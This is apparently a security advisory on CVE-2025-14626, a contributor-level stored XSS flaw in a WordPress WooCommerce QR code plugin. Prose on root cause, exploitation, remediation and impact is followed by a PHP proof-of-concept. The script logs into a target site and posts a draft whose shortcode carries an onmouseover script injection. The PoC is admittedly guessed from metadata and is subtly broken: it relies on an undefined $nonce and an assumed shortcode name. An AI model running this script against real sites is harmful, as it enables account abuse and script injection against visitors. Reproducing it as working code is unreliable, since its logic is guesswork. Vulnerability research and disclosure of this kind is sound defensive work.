Atomic Edge analysis of CVE-2025-14626 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the QR Code for WooCommerce order emails, PDF invoices, packing slips WordPress plugin. The vulnerability affects the plugin’s shortcode functionality, allowing attackers with contributor-level or higher permissions to inject malicious scripts into pages or posts. These scripts execute when users view the compromised content. The CVSS 3.1 score of 6.4 (Medium severity) reflects the attack’s network accessibility, low complexity, and limited impact on confidentiality and integrity.
Atomic Edge research infers the root cause from the CWE-79 classification and vulnerability description. The plugin fails to properly sanitize user-supplied attributes in its shortcode before output. WordPress shortcodes accept attributes as key-value pairs. The plugin likely processes these attributes through a shortcode callback function that directly echoes them without using appropriate escaping functions like esc_attr() or esc_html(). This inference is based on the CWE pattern and the description’s mention of insufficient input sanitization and output escaping. Without code access, this remains an inference from the metadata.
Exploitation requires an authenticated user with at least contributor privileges. The attacker creates or edits a post or page, inserting the plugin’s shortcode with malicious attributes. For example, [qr_code_tag attribute1=”value” attribute2=”alert(document.domain)”] could be a payload. The exact shortcode name and vulnerable attributes are unknown without code, but the attack vector is through the WordPress editor. The injected script executes in visitors’ browsers when they view the published post or page. Contributor-level users can create unpublished posts, requiring an editor or administrator to preview or publish them for wider execution.
Remediation requires implementing proper output escaping on all shortcode attributes. The plugin should use WordPress core escaping functions like esc_attr() for HTML attributes and esc_html() for text content before output. Input sanitization should also be applied using functions like sanitize_text_field() when receiving attribute values. A patch would involve modifying the shortcode handler function to escape each attribute value before inserting it into HTML output. The fix must ensure all output contexts (HTML, JavaScript, CSS) are properly escaped.
Successful exploitation allows attackers to perform actions within the victim’s browser context. This can lead to session hijacking if cookies are accessed, administrative actions if the victim has higher privileges, content defacement, or redirection to malicious sites. The stored nature means a single injection affects all users viewing the compromised page. While the CVSS indicates limited impact on confidentiality and integrity, real-world consequences could be severe depending on the victim’s role and the attacker’s payload.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14626 - QR Code for WooCommerce order emails, PDF invoices, packing slips <= 1.9.42 - Authenticated (Contributor+) Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof of Concept for CVE-2025-14626
* This script demonstrates authenticated stored XSS via shortcode attributes.
* Assumptions based on metadata:
* 1. The plugin registers a shortcode (exact tag unknown, assumed 'qr_code_tag').
* 2. Shortcode attributes are vulnerable to XSS without proper escaping.
* 3. Contributor+ users can create/edit posts with shortcodes.
* 4. The attack vector is the WordPress post editor.
*/
$target_url = 'https://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: XSS via shortcode attribute
// Using a common attribute name 'data' that might accept QR code content
$malicious_shortcode = '[qr_code_tag data="" onmouseover="alert(document.domain)"]';
$post_title = 'Test Post with QR Code';
$post_content = "This post contains a malicious QR code shortcode. {$malicious_shortcode}";
// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Get nonce for creating a post (from admin-ajax or REST API)
// Contributor users typically use the block editor or classic editor via admin
// This PoC uses the REST API for demonstration (requires proper permissions)
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPGET => true
]);
$response = curl_exec($ch);
$headers = curl_getinfo($ch);
// Check if REST API is accessible
if ($headers['http_code'] === 401 || $headers['http_code'] === 403) {
echo "REST API requires authentication. Using admin editor simulation.n";
// Alternative: Simulate editor submission (requires nonce from admin page)
// This part is omitted as it requires fetching admin page HTML
echo "PoC requires manual testing: Create a post with shortcode: {$malicious_shortcode}n";
curl_close($ch);
exit;
}
// Step 3: Create a post with malicious shortcode via REST API
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode([
'title' => $post_title,
'content' => $post_content,
'status' => 'draft' // Contributor can create drafts
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce // Nonce would be obtained from admin page
]
]);
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 201) {
echo "Post created successfully with malicious shortcode.n";
echo "Visit the draft post to trigger XSS payload.n";
} else {
echo "Failed to create post. HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
echo "Response: " . $response . "n";
}
curl_close($ch);
?>
